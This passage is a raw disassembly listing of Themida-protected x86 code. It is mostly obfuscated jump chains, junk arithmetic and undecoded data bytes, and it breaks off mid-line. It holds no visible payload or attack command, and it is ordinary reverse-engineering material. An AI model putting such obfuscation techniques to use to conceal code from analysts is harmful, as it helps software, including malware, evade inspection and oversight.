jmp loc_5504D7 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 0C0830000h, 24048704h, 0E689565Ch, 4C681h, 0EE830000h dd 3DE6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABBE: ; CODE XREF: Themida_:00550BFBj mov ebx, [esp] add esp, 4 push 4F69h mov [esp], edi push 4 mov edi, [esp] add esp, 4 push esi jmp loc_5582AD ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C3010000h, 74FF5358h, 8F5B0424h, 305C2404h, 0C0B60FC3h dd 8187048Dh, 4ECh, 8AD8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AC02: ; CODE XREF: Themida_:0055E8C6j neg ecx add ecx, 1 jmp loc_55D96E ; --------------------------------------------------------------------------- loc_55AC0F: ; CODE XREF: Themida_:00557FB1j pop ebx add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp push ecx mov ecx, 4 add ebx, 67760D0h add ebx, ecx sub ebx, 67760D0h jmp loc_55625C ; --------------------------------------------------------------------------- dd 26F5E181h, 0C1815737h, 1FA445C9h, 13E9CD29h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC4F: ; CODE XREF: Themida_:005635CFj mov edi, 2C00624Eh sub [esp+8], edi jmp loc_55E950 ; --------------------------------------------------------------------------- db 4Eh, 81h, 0C6h dd 5B95B337h, 0C15EF129h, 0BA5208E1h, 37C6E404h, 34FFD131h dd 20FBE924h, 0D8280000h, 5B932Ch, 19B151D8h, 8348E180h dd 1C8904ECh, 9F2EE924h, 2C87FFFFh, 759AE924h, 0E3810000h dd 21347449h, 7214E9h, 28342C00h, 513404D0h, 0C5806AB5h dd 36F5802Dh, 0ED80CDFEh, 0FFC58096h, 0BEC580h, 2434FFE8h dd 4F9AE959h, 48B0000h, 4C48124h, 0E9000000h, 55F4h, 4C281h dd 0EA830000h, 3B32E904h, 89660000h, 0B3532404h, 4C380E4h dd 0FF9A28E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ACF5: ; CODE XREF: Themida_:0055F1B9j add edx, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_550310 ; --------------------------------------------------------------------------- db 8Bh dd 4682424h, 89000061h, 64682404h, 8900005Dh, 2AE9240Ch dd 80FFFFE2h, 0F0286DF6h, 0FF73E95Ah, 5F5CFFFFh, 4244431h dd 6031E9h db 0 ; --------------------------------------------------------------------------- loc_55AD3D: ; CODE XREF: Themida_:0055BE93j xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_54F36D ; --------------------------------------------------------------------------- loc_55AD4F: ; CODE XREF: Themida_:00563F15j not esi xchg esi, ebx push esi mov esi, 38AF36AFh jmp loc_562F05 ; --------------------------------------------------------------------------- dw 0F3B9h dd 568D755h, 7CC12778h, 18E9C829h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD6F: ; CODE XREF: Themida_:005519F8j pop esp jmp loc_562CE7 ; --------------------------------------------------------------------------- db 2Dh, 39h, 0BFh dd 0C229A55Fh, 5AD00158h, 8958C629h, 4D3BE9F7h, 0E8C10000h dd 2320E907h, 0ED810000h, 1E32CBE7h, 390CE9h, 24148700h dd 0E9EA015Ch, 974Fh ; --------------------------------------------------------------------------- loc_55ADA8: ; CODE XREF: Themida_:00561FC2j sub edi, 4 jmp loc_5536C8 ; --------------------------------------------------------------------------- db 5Ch dd 0FF45B4E9h, 0E9515AFFh, 289Eh, 0E924248Bh, 0FFFF45A5h ; --------------------------------------------------------------------------- loc_55ADC8: ; CODE XREF: Themida_:0055EF71j mov edx, 3B8D54BBh jmp loc_55C9DB ; --------------------------------------------------------------------------- dw 2D68h dd 89000003h, 42682414h, 0E9000034h, 0FFFF744Eh ; --------------------------------------------------------------------------- loc_55ADE4: ; CODE XREF: Themida_:00562104j xor ebp, edx pop edx jmp loc_55CF22 ; --------------------------------------------------------------------------- dd 4EA815Eh, 68000000h, 477Ah, 0FF241489h, 0E9042474h dd 0FFFF82C5h ; --------------------------------------------------------------------------- loc_55AE04: ; CODE XREF: Themida_:0055F24Cj xor ch, 4Eh not ch jmp loc_5635C5 ; --------------------------------------------------------------------------- loc_55AE0E: ; CODE XREF: Themida_:005514E4j push ecx mov ecx, 2 add edx, ecx pop ecx jmp loc_55E5DC ; --------------------------------------------------------------------------- dd 0C8315B5Ah, 53240C8Bh, 73E9E389h, 2CFFFF80h, 685B6655h dd 7D0Fh, 0E9240C89h, 0FFFF8957h, 0E9243433h, 0FFFFE2FFh dd 0D6C6814Eh, 89A5D8BEh, 88E95EF3h, 66FFFFACh, 5624048Bh dd 0E904EC83h, 7B9Bh, 8758C329h, 895C241Ch, 0F5682404h dd 58275018h, 4D3EC681h, 0C6010335h, 0E904EC83h, 3938h dd 3C8BF889h, 4C48124h, 2D000000h, 790C14E0h, 4B7B8825h dd 350D4047h, 0E9307922h, 0FFFFB40Ch, 405h, 42D00h, 0DAE90000h dd 5B000067h, 82CF381h, 0D9892EBCh, 6BE1E95Bh, 0C1890000h dd 96C18158h, 814B2F28h, 711A0DE9h, 70F3E95Ah, 8059FFFFh dd 5066D1EEh, 0C6207CB0h, 50665866h, 88B3B652h, 37E95AF0h dd 81FFFFB7h, 0D27454C7h, 51EF815Ch, 0E9742913h, 65D0h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0C15C2414h, 0E18105E1h dd 5A68495Fh, 0FFAF5FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF1D: ; CODE XREF: Themida_:0055A928j add esp, 4 add ebp, 4 push esi mov esi, 4 jmp loc_554928 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0B9h dd 0F7039B73h, 4CC781D7h, 1FDC5ECh, 0A0E95FF9h, 5400001Dh dd 0E9BF575Eh, 8124030Fh, 0C27107E7h, 10EAE935h, 0CE680000h dd 0E9000063h, 0FFFFBBCFh ; --------------------------------------------------------------------------- loc_55AF64: ; CODE XREF: Themida_:00562A94j pop ebx push esi jmp loc_5623B1 ; --------------------------------------------------------------------------- loc_55AF6B: ; CODE XREF: Themida_:00557BBEj add edx, eax pop eax push 447Bh jmp loc_5620DF ; --------------------------------------------------------------------------- dd 0C0B60F5Ah, 0E98734FFh, 0FFFF43E9h, 3302C783h, 3C31243Ch dd 243C3324h, 6624248Bh, 9C240421h, 0FF8E2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF9D: ; CODE XREF: Themida_:005635C8j and ch, 0B6h push small 792Dh mov [esp], bx mov bh, 0AFh jmp loc_55E8FB ; --------------------------------------------------------------------------- db 83h dd 575004C4h, 0CD396D68h, 0D7F75F62h, 0EF814747h, 34E104E7h dd 0FF6C4BE9h, 240489FFh, 0FFBB4DE9h, 36C181FFh, 2913E511h dd 36E981F9h, 5F13E511h, 0C181C101h, 517C13E7h, 240C3358h dd 33240C31h, 665C240Ch, 0E99CC83Bh, 0FFFF4371h, 4EC81h dd 4890000h, 52585424h, 0C281E289h, 4, 8704EA83h, 895C2414h dd 4BB241Ch, 1000000h, 89515BD8h, 0BA5250E1h, 5B2A2A43h dd 0EAC1D2F7h, 5EAC106h, 0FFC789E9h, 5AD101FFh, 0FFCD89E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B041: ; CODE XREF: Themida_:00556FB0j pop eax jmp loc_55D5A1 ; --------------------------------------------------------------------------- loc_55B047: ; CODE XREF: Themida_:00558ED5j mov edx, [esp] jmp loc_558487 ; --------------------------------------------------------------------------- loc_55B04F: ; CODE XREF: Themida_:0055B522j add dword ptr [esp], 0C580FCEh pop eax sub eax, 0C580FCEh jmp loc_55B0FD ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 665C240Ch, 5624048Bh, 1B68E689h, 89000052h dd 0E954241Ch, 60ACh ; --------------------------------------------------------------------------- loc_55B080: ; CODE XREF: Themida_:0055F1A5j add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] or eax, eax jz loc_552D8A push edx push 3C4Ah jmp loc_562323 ; --------------------------------------------------------------------------- dd 0FF42CCE9h, 4EC81FFh, 89000000h, 1BD242Ch, 55000000h dd 0E9575D5Ah, 5BBCh, 8124248Bh, 4ECh, 24148900h, 4BB53h dd 5A530000h, 8FADE9h db 0 ; --------------------------------------------------------------------------- loc_55B0D1: ; CODE XREF: Themida_:005575D0j sub bl, ch mov cx, [esp] add esp, 2 jmp loc_55DA98 ; --------------------------------------------------------------------------- dw 0DD01h dd 5DEE215Bh, 60A2F681h, 0F0010700h, 0BFAE9h, 241C8B00h dd 0FFB4C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B0FD: ; CODE XREF: Themida_:0055B05Cj push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx push esp jmp loc_56189E ; --------------------------------------------------------------------------- dd 83240C8Bh, 348904ECh, 535E5424h, 33FCBA52h, 77E91D90h dd 1FFFF4Ah, 0BEE955F9h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B12F: ; CODE XREF: Themida_:00555AD6j or ecx, eax jmp loc_54F67D ; --------------------------------------------------------------------------- loc_55B136: ; CODE XREF: Themida_:0055F026j not esi shl esi, 7 sub esi, 0DB3FDFFCh add edx, esi jmp loc_55381C ; --------------------------------------------------------------------------- dd 4240481h, 0FF000000h, 98E92434h, 0C1FFFFDFh, 0F38105E3h dd 0CD69E1B2h, 0E95BDF89h, 0FFFFB2E3h, 5700ED81h, 0EF0135C4h dd 0FA095E5Dh, 83243C8Bh, 0BB5304C4h, 1B315446h, 0F07C381h dd 0DA21533Dh, 8ECEE95Bh, 1C890000h, 8042B724h, 0E7C064EFh dd 14B25206h, 558EE9h, 0E9814900h, 51F61AFAh, 130AC181h dd 0C1812AB1h, 23789752h, 0E959CF01h, 2CF9h, 7AE954h, 0C1810000h dd 4, 0FFECA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B1CD: ; CODE XREF: Themida_:00560339j add ecx, 5178ED50h and esi, ecx jmp loc_550CC3 ; --------------------------------------------------------------------------- loc_55B1DA: ; CODE XREF: Themida_:0055005Cj add esp, 4 jmp loc_550C33 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 55000000h, 4E39E9h db 0 ; --------------------------------------------------------------------------- loc_55B1F1: ; CODE XREF: Themida_:005532D8j add ecx, edi pop edi jmp loc_55557D ; --------------------------------------------------------------------------- db 5Ah, 33h, 34h dd 24343124h, 8B243433h, 81532424h, 4ECh, 243C8900h, 90BEE9h dd 0EB015A00h, 6257BA52h, 0D3297A07h, 242C8B5Ah, 4C481h dd 1C330000h, 241C3124h, 8B241C33h, 0E9572424h, 3B02h dd 64E9515Bh, 5300007Ah, 809FB450h, 40E942C4h, 51FFFFB7h dd 6FD7E99Ch, 0C483FFFFh, 242C8104h, 7B13459Bh, 21A3E9h db 0 ; --------------------------------------------------------------------------- loc_55B265: ; CODE XREF: Themida_:005521A4j sub ebp, 6CE76696h add ebp, 2DACF735h add ecx, ebp jmp loc_5562B4 ; --------------------------------------------------------------------------- loc_55B278: ; CODE XREF: Themida_:00552C31j sub eax, ebp push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], edx jmp loc_54FB88 ; --------------------------------------------------------------------------- db 1 dd 79E951F0h, 87000025h, 535C240Ch, 210B68h, 24148900h dd 0E904EC83h, 0FFFFA235h, 815EF129h, 31AB15F1h, 0E14FE938h dd 535AFFFFh, 2BFB68h, 24248900h, 0FFE042E9h, 80068FFh dd 0EC830000h, 3CA0E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B2D6: ; CODE XREF: Themida_:005635B9j mov dh, 3Ah inc dh dec dh jmp loc_5576F8 ; --------------------------------------------------------------------------- aIVsiu db '‰<$Véiu',0 align 2 dw 74FFh dd 8F5E0424h, 248B2404h, 240C8924h, 0B151D3B1h, 3013B71Fh dd 516659CFh, 0C7803EB5h, 80EF2841h, 8B6641EFh, 0C481240Ch dd 2, 5BD3E952h, 0E952FFFFh, 307Bh, 32CEE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B32A: ; CODE XREF: Themida_:00555E59j mov esp, [esp] mov [esp], edx pop dword ptr [edi+20h] jmp loc_5575EF ; --------------------------------------------------------------------------- dd 33C068h, 240C8900h, 0C568E189h, 8900002Dh, 0BF57241Ch dd 27B724A2h, 671AE781h, 91E9793Fh, 89FFFF7Eh, 74FF2434h dd 8F5E0424h, 248B2404h, 48B6624h, 58545024h, 90468h, 240C8900h dd 4ACFBE56h, 0C6812BA6h, 2D6D79FAh, 54A5F681h, 0EE810988h dd 5483282h, 0E6B95157h, 0E94B535Dh, 4841h ; --------------------------------------------------------------------------- loc_55B39C: ; CODE XREF: Themida_:005539BBj mov eax, 0FFFFFFFFh sub edi, eax pop eax dec edi push ebp mov ebp, 21C25115h add ebp, 1 jmp loc_5615B1 ; --------------------------------------------------------------------------- loc_55B3B6: ; CODE XREF: Themida_:00554023j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], esi jmp loc_563EC7 ; --------------------------------------------------------------------------- db 58h, 0E9h, 13h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B3D7: ; CODE XREF: Themida_:00550CD6j inc edx jmp loc_55F899 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 8 dd 63FCBE56h, 0F7091FE3h, 7374E9h db 0 ; --------------------------------------------------------------------------- loc_55B3ED: ; CODE XREF: Themida_:00562280j push eax mov eax, 18A35A44h jmp loc_552285 ; --------------------------------------------------------------------------- dd 690968h, 241C8900h, 0C381E389h, 4, 8704C383h, 248B241Ch dd 0E0895024h, 0FF424FE9h, 0CB814BFFh, 1836046h, 6AB1E9h dd 0BF575D00h, 4, 3C8BFA01h, 4C48324h, 31241433h, 14332414h dd 6119E924h, 0C483FFFFh, 1C5F0904h, 5B2434FFh, 4C481h dd 54510000h, 0E9240C8Bh, 86D7h, 0C281E289h, 4, 8704C283h dd 315C2414h, 0A1B1E9D2h, 0F801FFFFh, 10E9565Fh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B47B: ; CODE XREF: Themida_:0055378Ej add eax, 4 add eax, 2 xchg eax, [esp] pop esp mov ch, bh pop ebx add al, ch push dword ptr [esp] pop ecx jmp loc_5593AE ; --------------------------------------------------------------------------- loc_55B495: ; CODE XREF: Themida_:00561C43j mov edi, ebx jmp loc_55437E ; --------------------------------------------------------------------------- loc_55B49C: ; CODE XREF: Themida_:00551F27j mov [esp], ebx mov ebx, 43A138D4h add eax, 44775162h sub eax, ebx sub eax, 44775162h pop ebx jmp loc_55263F ; --------------------------------------------------------------------------- dw 868h dd 8300007Bh, 248904ECh, 24048324h, 24048F04h, 7FD468h dd 24048900h, 4B8h, 24440100h, 56F6E904h, 8AE9FFFFh, 0C1FFFF3Eh dd 0E78104EFh, 6DA060Ah, 0BB53h, 0FB290000h, 2DE95F53h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B4FB: ; CODE XREF: Themida_:00563914j push edi mov edi, eax jmp loc_558822 ; --------------------------------------------------------------------------- loc_55B503: ; CODE XREF: Themida_:005594B4j add ebp, 3DA39EAh shr ebp, 8 push edi jmp loc_54FCDE ; --------------------------------------------------------------------------- loc_55B512: ; CODE XREF: Themida_:005636C4j push ebx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_55B04F ; --------------------------------------------------------------------------- db 89h dd 5A542414h, 1930E956h, 14890000h, 5267BA24h, 0EA813419h dd 42FE3F10h, 72F1E9h, 5EF18900h, 5FE9D9F7h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B54F: ; CODE XREF: Themida_:00558096j neg eax jmp loc_559CD8 ; --------------------------------------------------------------------------- aXs db 'XéÒ',8,0 align 4 aISf db 'ˆÜéF]',0 dw 5B00h dd 5C240487h, 243CD366h, 3DFBE99Ch, 8966FFFFh, 0B7B02404h dd 5866C500h, 0E959EE30h, 0FFFFD8D9h, 5B95BD55h, 0E929254Bh dd 81242C8Bh, 4C4h, 0C6895600h, 8904EC83h, 0E9562414h dd 0FFFFDE70h, 8103EBC1h, 4F0BC3F3h, 5EF32993h, 4EC81h dd 0C890000h, 7238B924h, 0C9816B91h, 296D1BA7h, 3CC2E9h dd 4685300h, 5B000000h, 4245C01h, 7E9585Bh, 5B000032h dd 623EE9h, 0AEBF5700h, 0F7300607h, 4872E9DFh, 0EF81FFFFh dd 8B404B4h, 2D0AEF81h, 0CF8100DCh, 0E6062E4h, 48C2C781h dd 0F829241Fh, 215E95Fh, 0A4050000h, 52138F42h, 0FFFFFFBAh dd 5AD001FFh, 2139E9h, 1EE95A00h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B627: ; CODE XREF: Themida_:00563191j mov [esp], eax push edx mov edx, 4 push ecx mov ecx, edx mov eax, ecx pop ecx jmp loc_557BBD ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 242C8B24h, 0FF04C483h, 148B2434h, 4C48124h dd 81000000h, 4ECh, 240C8900h, 13B68h, 48F5400h, 24048324h dd 0BF575904h, 4, 835FF901h, 0C8704C1h, 24248B24h, 2C8BE889h dd 5808E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B686: ; CODE XREF: Themida_:0055DE66j push esi mov esi, esp jmp loc_558EE7 ; --------------------------------------------------------------------------- loc_55B68E: ; CODE XREF: Themida_:0055D37Dj pop edx push ecx jmp loc_55E2CC ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8104C483h, 3C77C4C3h, 81C30155h, 3C77C4EBh, 6FBE5655h dd 8152483Dh, 3C7A12E6h, 2E6C129h, 573CE81h, 8E9497Dh dd 0F3FFFFB1h, 386203A5h, 227668h, 24348900h, 1274E957h dd 0BF570000h, 8E779EAh, 15FFB29h, 0EAC381F3h, 5E08E779h dd 3593C381h, 0EB014BF5h, 3593EB81h, 0B9514BF5h, 1B9B1BF6h dd 63BCE9h, 0F2BB5300h, 0B9701854h, 510C7E4Dh, 1C8BD931h dd 0E6895624h, 4C681h, 0C6810000h, 4, 0E9243487h, 494h dd 0B311B450h, 8BE32822h, 83E92404h, 1FFFF4Eh, 243C8BFAh dd 5021E9h, 5BDA3100h, 505AD001h, 51E9E089h, 1FFFFF7h dd 38A42DD0h, 0C055D43h, 8B425540h, 89572414h, 4C781E7h dd 81000000h, 4C7h, 61F5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B772: ; CODE XREF: Themida_:00559631j add edx, 6C6D6D1Ah mov ecx, [esp] add esp, 4 push dword ptr [edx] jmp loc_55C6F3 ; --------------------------------------------------------------------------- loc_55B785: ; CODE XREF: Themida_:0055FBB8j mov esi, 51471D20h shl esi, 1 xor esi, 0A28E3A44h sub ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 1 push ebx add dword ptr [esp], 298F3958h jmp loc_5526E5 ; --------------------------------------------------------------------------- loc_55B7B6: ; CODE XREF: Themida_:005576C8j push edx push edx mov edx, 3FCD03D8h sub [esp+4], edx pop edx pop ebp add ebp, 3FCD03D8h pop edx jmp loc_55D959 ; --------------------------------------------------------------------------- loc_55B7CF: ; CODE XREF: Themida_:0055F8A1j not edi jmp loc_5628FB ; --------------------------------------------------------------------------- dw 6855h dd 49CA5383h, 5DEE015Dh, 4BB5357h, 0E916B67Fh, 0FFFFF96Bh ; --------------------------------------------------------------------------- loc_55B7EC: ; CODE XREF: Themida_:00556D97j push edx mov edx, esp push edi mov edi, 4 add edx, edi jmp loc_5588ED ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704EF83h, 0E95C243Ch, 5064h ; --------------------------------------------------------------------------- loc_55B810: ; CODE XREF: Themida_:0055289Cj add ebp, 2F374735h add ebp, ecx push ecx mov ecx, 3DAF58E7h jmp loc_560DB0 ; --------------------------------------------------------------------------- db 1 dd 798AE9D0h, 0D988FFFFh, 0C30DE95Bh, 405FFFFh, 0E9000000h dd 0FFFF9F5Fh ; --------------------------------------------------------------------------- loc_55B83C: ; CODE XREF: Themida_:00556AFFj or edi, 711644E8h jmp loc_561B21 ; --------------------------------------------------------------------------- db 80h dd 0D3F601EBh, 0F6BDF380h, 0C3C0E9D3h, 0C781FFFFh, 5CE66460h dd 409E94Fh, 4810000h, 424h, 0BB535A00h, 57377715h, 646DE9h dd 8CF38000h, 0FFAA17E9h, 4C483FFh, 3CE930FFh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B887: ; CODE XREF: Themida_:0055F52Dj xor esi, 2C32575Dh mov eax, esi mov esi, [esp] sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push esi jmp loc_551E9A ; --------------------------------------------------------------------------- db 5 dd 4, 0FFE3E6E9h, 0B95153FFh, 40AC4A49h, 7CE9CB89h, 5000050h dd 4, 5053E9h, 5EF20100h, 0FFAC8CE9h, 243C87FFh, 0D224248Bh dd 0E99C240Ch, 0FFFF3A79h, 8952E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B8FA: ; CODE XREF: Themida_:0056310Aj pop esp jmp loc_55F330 ; --------------------------------------------------------------------------- loc_55B900: ; CODE XREF: Themida_:00551D3Aj shl esi, 5 jmp loc_5500F6 ; --------------------------------------------------------------------------- dd 83241C8Bh, 9DE904ECh, 0E9FFFF45h, 0FFFF3A55h, 8324248Bh dd 348904ECh, 57E68924h, 0B5259BFh, 7A96E951h, 8C68FFFFh dd 8900005Fh, 74FF2404h, 34FF0424h, 89575824h, 0E59EE9E7h dd 34FFFFFFh, 24048B24h, 4C481h, 0C4830000h, 241C8B04h dd 53E28952h, 4BBh, 5BDA0100h, 8704C283h, 41E92414h, 8100001Fh dd 122D74C2h, 0AEC2816Fh, 8B14A569h, 6E92434h, 8900005Fh dd 0ECE9242Ch, 56FFFF3Bh, 0FFF959E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B991: ; CODE XREF: Themida_:00552E16j add ebx, 78913DD0h push dword ptr [esp] jmp loc_557239 ; --------------------------------------------------------------------------- loc_55B99F: ; CODE XREF: Themida_:00563851j pop esp push dword ptr [esp] jmp loc_557347 ; --------------------------------------------------------------------------- dd 0C6E9CA01h, 0B0FFFF8Dh, 305CB39Dh, 0E2E958C3h, 0F700001Eh dd 8E6C1D6h, 41C0EE81h, 0F701AC98h, 380AE9h, 0E2E58100h dd 81318313h, 0BC140DF5h, 5DE801FBh, 24048150h, 256F51B3h dd 0B3ED815Dh, 58256F51h, 0E95DEF89h, 0FFFF7DB9h ; --------------------------------------------------------------------------- loc_55B9F4: ; CODE XREF: Themida_:005571F2j mov ecx, 59D206E8h sub eax, 71F21B98h sub eax, ecx push ebx mov ebx, 0BDF0EF9h shl ebx, 4 add ebx, 36DB7DB8h add ebx, 183941FCh shr ebx, 6 and ebx, 1864544Fh xor ebx, 71D60F95h sub eax, 2336726Ch add eax, ebx add eax, 2336726Ch pop ebx mov ecx, [esp] add esp, 4 mov esi, [esp] add esp, 4 shl eax, cl push ecx mov ecx, esp push esi push 539934B0h pop esi add esi, 6A65C0Dh xor esi, 5A3F90B9h sub ecx, 71335AFAh jmp loc_55E0DB ; --------------------------------------------------------------------------- dd 0E958C201h, 0FFFF57D9h, 0C380C1B3h, 80EB002Fh, 0C8B2FEBh dd 8C1CE924h, 0B1BB0000h, 5130C747h, 4D3ED4B9h, 97C18166h dd 817F9F14h, 2111FCC1h, 0C1D9F76Fh, 3CE904E9h, 89FFFF5Ah dd 21E9242Ch, 8BFFFF64h, 5456242Ch, 4C6815Eh, 0E9000000h dd 0FFFF4357h, 1335D8F7h, 899027A2h, 0FD0158C7h, 242C875Fh dd 0E49685Ch, 34890000h, 0E9E68924h, 0FFFFB731h ; --------------------------------------------------------------------------- loc_55BAD4: ; CODE XREF: Themida_:0056039Dj mov [esp], eax add dword ptr [esp], 1 mov eax, [esp] jmp loc_5521AF ; --------------------------------------------------------------------------- aISdx db '‰$$édx',0 align 2 dw 0BD55h dd 527B6F3Ah, 295DEA01h, 3AEA81FAh, 8B527B6Fh, 0C481243Ch dd 4, 0FFE0C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BB0D: ; CODE XREF: Themida_:005527FFj xor edx, 1F841CBEh inc edx jmp loc_55D467 ; --------------------------------------------------------------------------- db 58h, 0E9h, 60h dd 89FFFFC9h, 0C6E92434h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB27: ; CODE XREF: Themida_:00559FD3j xor edx, 70BD78E5h shl edx, 8 push ebp jmp loc_556E88 ; --------------------------------------------------------------------------- loc_55BB36: ; CODE XREF: Themida_:00562F61j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi jmp loc_55BCE8 ; --------------------------------------------------------------------------- dw 2966h dd 0E99C2404h, 0FFFF3815h ; --------------------------------------------------------------------------- loc_55BB58: ; CODE XREF: Themida_:0055A478j pop ecx inc eax add eax, 0A1DBEF0Eh add edx, eax pop eax sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_55319A ; --------------------------------------------------------------------------- db 1 dd 242C8BEBh, 8704C483h, 248B241Ch, 48B6624h, 347E6824h dd 84E90000h, 81FFFFFFh, 4C4h, 4EC8100h, 89000000h, 74FF241Ch dd 1C8B0424h, 4EC8124h, 0E9000000h, 0FFFF7A16h, 83BE565Ch dd 16BC729h, 5E1CE9F1h, 7A050000h, 0E90DAC38h, 80F0h, 8924248Bh dd 0EC832414h, 24248904h, 265DE9h db 0 ; --------------------------------------------------------------------------- loc_55BBE5: ; CODE XREF: Themida_:00562A36j add ebx, 0EF77DE02h add edi, ebx pop ebx xchg edi, [esp] jmp loc_563A99 ; --------------------------------------------------------------------------- dw 8B5Ch dd 0C4832414h, 2EC8304h, 241C8966h, 0FFB6C0E9h, 24048FFFh dd 8124248Bh, 4C7h, 2E12E900h, 0E1890000h, 0FF4220E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BC21: ; CODE XREF: Themida_:00552618j push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 4 xchg eax, [esp] pop esp sub ecx, 4 jmp loc_562EAC ; --------------------------------------------------------------------------- loc_55BC39: ; CODE XREF: Themida_:00558D0Ej mov eax, 2827FFDh and eax, 70A21A4Ah xor eax, 821A4Ch sub esi, 25A63109h add esi, eax add esi, 25A63109h jmp loc_55EABF ; --------------------------------------------------------------------------- db 1 dd 0EAC781D7h, 5A0CE03Ch, 0E9E9C729h, 56000024h, 716A53BEh dd 5EF73168h, 835FFE01h, 70E904EEh db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC7F: ; CODE XREF: Themida_:00563E10j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_55EEC7 ; --------------------------------------------------------------------------- loc_55BC8C: ; CODE XREF: Themida_:0055545Fj push eax push ebp mov ebp, 623018E0h or ebp, 79756B0Eh jmp loc_55E684 ; --------------------------------------------------------------------------- dw 685Ah dd 0E2Ah, 54243489h, 0E924348Bh, 3AD0h ; --------------------------------------------------------------------------- loc_55BCB0: ; CODE XREF: Themida_:005566EEj mov esp, [esp] mov [esp], ebx push edi mov edi, 1D9A4180h xor [esp+4], edi mov edi, [esp] jmp loc_5577B4 ; --------------------------------------------------------------------------- loc_55BCC8: ; CODE XREF: Themida_:0055928Fj sub ecx, 0BA3C29D8h sub esi, ecx jmp loc_5536F9 ; --------------------------------------------------------------------------- loc_55BCD5: ; CODE XREF: Themida_:005566F8j push dword ptr [esp] jmp loc_554360 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFDA42h ; --------------------------------------------------------------------------- loc_55BCE8: ; CODE XREF: Themida_:0055BB49j mov esi, esp jmp loc_552E03 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 5DE268h, 24048900h, 42474FFh, 8FAEE958h dd 0B951FFFFh, 895529Ah, 0F704E1C1h, 19E5E9D9h, 14870000h dd 0C895C24h, 0DB0AE924h, 0C129FFFFh, 8324048Bh, 0D3E904C4h dd 68FFFFA4h, 5330h, 0E9240C89h, 0FFFF86E3h, 6012B850h dd 0C7294F1Fh, 20BD5558h, 0C12CD507h, 0C58103EDh, 1AAD6CDFh dd 0E79ED81h, 0C14D777Bh, 0C58107E5h, 0C1D4C98Fh, 8548E9h dd 2434FF00h, 0FFC0DDE9h, 4335AFFh, 24043124h, 5C240433h dd 54240489h, 30BDE9h, 4EF8100h, 87000000h, 895C243Ch dd 0E6892434h, 57556855h, 0ADE92108h, 89FFFF73h, 0E189240Ch dd 7EEBA52h, 0E2C102A9h, 0B4EA8102h, 10AA41Fh, 27E95AD1h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDBF: ; CODE XREF: Themida_:005615FCj mov esi, 2 sub ebx, esi pop esi push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_55A3E7 ; --------------------------------------------------------------------------- dw 575Dh dd 0DA9D24BFh, 0E9FD31BFh, 0FFFF371Ch, 23BD555Ah, 81505728h dd 1E6A33EAh, 81EA293Eh, 1E6A33C2h, 6F57E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edx, 593C5129h mov edi, edx mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_561C5F ; --------------------------------------------------------------------------- dw 